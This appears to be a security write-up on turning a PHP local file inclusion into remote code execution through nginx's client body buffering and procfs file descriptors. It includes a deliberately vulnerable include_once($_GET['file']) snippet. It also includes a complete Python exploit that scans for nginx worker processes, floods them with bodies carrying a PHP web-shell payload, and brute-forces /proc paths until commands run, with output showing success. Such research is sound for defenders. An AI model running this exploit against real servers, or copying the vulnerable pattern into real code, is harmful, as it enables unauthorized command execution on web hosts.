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Vulnerable configuration

PHP code:

<?php include_once($_GET['file']);

FPM / PHP config:

...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...

Setup / hardening:

...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

Luckily PHP is currently often deployed via PHP-FPM and Nginx. Nginx offers an easily-overlooked client body buffering feature which will write temporary files if the client body (not limited to post) is bigger than a certain threshold.

This feature allows LFIs to be exploited without any other way of creating files, if Nginx runs as the same user as PHP (very commonly done as www-data).

Relevant Nginx code:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

It's visible that tempfile is unlinked immediately after being opened by Nginx. Luckily procfs can be used to still obtain a reference to the deleted file via a race:

...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

Note: One cannot directly include /proc/34/fd/15 in this example as PHP's include function would resolve the path to /var/lib/nginx/body/0000001368 (deleted) which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: /proc/self/fd/34/../../../34/fd/15 which will finally execute the content of the deleted /var/lib/nginx/body/0000001368 file.

Full Exploit

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes 
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'c': f'id'
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

Output:

$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Labs

References

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/